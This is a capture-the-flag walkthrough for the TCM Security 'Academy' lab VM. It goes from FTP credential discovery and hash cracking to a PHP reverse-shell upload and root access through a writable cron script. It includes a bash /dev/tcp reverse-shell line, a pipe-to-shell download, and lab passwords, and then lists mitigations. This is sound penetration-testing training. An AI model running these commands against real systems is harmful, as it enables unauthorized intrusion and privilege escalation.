Academy-CTF-Walkthrough

CyberLab-12

#Overview

Academy is a vulnerable machine from TCM Security (https://tcm-sec.com/). The objective is to gain root access and capture the flag.
It involves a chain of vulnerabilities and misconfigurations across different services, which eventually leads to full system compromise.

Machine:
https://drive.google.com/file/d/1u4628J7AwEzFCS3gWZbJgv-lhGzwmrvf/view?source=post_page-----e891243c61a8-----------------------------------------

Environment:

1- Kali Linux (Attacker).
2- Academy (.ovf) VM.
3- Make sure that both on the same Virtual network (NAT).

---

#Methodology

We will walkthrough each of these following steps one by one:

Reconnaissance → Enumeration → Credential Discovery → File Upload (RCE) → Local Enumeration → Credential Reuse → CronJobs Enumeration → Root Access

---

1-Information Gathering (Active Reconnaissance)

Host Discovery

ip a
sudo netdiscover -r 192.168.38.0/24
sudo nmap -sn 192.168.38.0/24
ping 192.168.38.138

We can identify Academy IP-Address by netdiscover (Arp Scan) or by Nmap (Ping Sweep), Eventually the IP (192.168.38.138).

Service & Port Scanning

sudo nmap -Pn -sC -sS -sV -p- -T4 192.168.38.138

Based on the Nmap scan, we found three open ports:

Port	Service	Version
21	FTP	vsftpd 3.0.3
22	SSH	OpenSSH 7.9p1
80	HTTP	Apache Httpd 2.4.38

We will investigate each service to identify potential vulnerabilities and possible ways to gain initial access.

---

2-Enumeration

The plan is to start by enumerating FTP, as it is one of the easiest services to enumerate when it is not configured correctly and may contain valuable information.
Then, we will move to the web application on port 80, followed by SSH on port 22.

• (A) FTP Anonymous User allowed:

An anonymous FTP account allows users to access an FTP server without providing a valid username and password, which can potentially expose sensitive files.

Username: Anonymous
Password: Anonymous

ftp 192.168.38.138
enter Username & Password
ls
get note.txt
exit
cat note.txt

• Now we have extracted some valuable information:
  1- Grimmie an Administrator uses the same password which is good if we can find.
  2- Authenticated user ID & Password (Hashed) that we will search where to use them later.

Username: 10201321
Password: cd73502828457d15655bbd7a63fb0bc8

• Now lets try to crack this password.

hash-identifier cd73502828457d15655bbd7a63fb0bc8
hashcat -m  0 cd73502828457d15655bbd7a63fb0bc8 /usr/share/wordlists/rockyou.txt

Username: 10201321
Password: student

• We concluded that the hashed password is MD5 and then cracked it with hashcat.

• We need an endpoint to authenticate this user which of course will be on the WebApp on port 80.

• All of the above concluded an FTP information disclosure that must be configured right.

  (B) WebApp & Directory Enumeration:

We will now visit the Academy web application on port 80. Everything appears to be normal. we will move on to directory enumeration, hoping to find valuable directories or files that could help with exploitation.

http://192.168.38.138

We will move on to directory enumeration, hoping to find valuable directories or files that could help with exploitation.

sudo ffuf -u http://192.168.38.138:80/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

We found two interesting directories: phpmyadmin and academy. We will now use the credentials we found earlier and try to log in to the Academy web application.

---

3-Explotation (Gaining Access):

• Since we found an image upload endpoint, we can test whether the application properly validates uploaded files.

• We will attempt to upload a reverse shell payload and set up a listener on our Kali machine.

• We will use the pentest monkey reverse shell (https://github.com/pentestmonkey/php-reverse-shell/tree/master), download the code and modify the IP & Port.

  

nc -nlvp 4444

• Upload the Code and see if it works

  
  • We gained a shell on the machine with (www-data) user so our goal is to escalate our privilege to root (vertical Escalation).

---

4-Privilege Escalation (Maintaining Access):

• We will perform local enumeration using LinPEAS, a shell script that automates the collection of important system information that can help a penetration tester identify possible privilege-escalation opportunities.

(https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS)

wget -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

chmod +x linpeas.sh
./linpeas.sh

• We will keep scrolling in this interesting information till we find something useful.

 grimmie
 My_V3ryS3cur3_P4ss

• Now we have a breakthrough. We found a Grimmie user, who is an administrator, along with his password.
• If you remember the note we found earlier, Grimmie mentioned that he uses the same password for all of his accounts. Therefore, we can try to use these credentials to SSH into the machine.
• We also found a CronJob running under Grimmie’s user, which we will investigate as a possible privilege-escalation opportunity.

ssh grimmie@192.168.38.139
yes
My_V3ryS3cur3_P4ss
ls
cat backup.sh

• Now we found our way to root access on the machine. The script is executed with high privileges, so we can modify its content to execute a reverse shell and set up a listener on the attacker machine. Once the script runs, we should receive a shell with root privileges. (https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)

  

nc -nlvp 4444

nano backup.sh
bash -i >& /dev/tcp/192.168.38.130/4444 0>&1

---

#Mitigations

• 1. Information Disclosure via FTP
     Severity: High
     CVSS v3.1: 7.5
     Impact: Unauthorized access to application credentials.
     Remediation: Remove sensitive files from public locations & Disable anonymous FTP.

---

• 2. Weak Password Storage (MD5)
     Severity: High
     CVSS v3.1: 7.5
     Remediation: Implement salting & Enforce strong password policies.

---

• 3. Unrestricted File Upload (RCE) Severity: Critical
     CVSS v3.1: 9.8
     Remediation: Validate file signatures & Store uploads outside the web root.

---

• 4. Credential Reuse Severity: High
     CVSS v3.1: 8.8
     Remediation: Separate application and system credentials.

---

• 5. Plaintext Credentials in Configuration Files
     Severity: Medium
     CVSS v3.1: 6.5
     Remediation: Store secrets in environment variables & Restrict file permissions.

---

• 6. Insecure Cron Permissions
     Severity: Critical
     CVSS v3.1: 9.8
     Remediation: Audit cron jobs regularly & Monitor integrity of privileged scripts.

---

#Visual Summarization

---

#Lessons Learned

• Always enumerate all open services.
• Check for exposed credentials and sensitive information.
• Test file upload functionality for vulnerabilities.
• Always check CronJobs for privilege escalation.
• Avoid reusing passwords between accounts.
• Information disclosure can lead to complete compromise.
• Configuration files frequently expose credentials.
• Implement least privilege.

---

---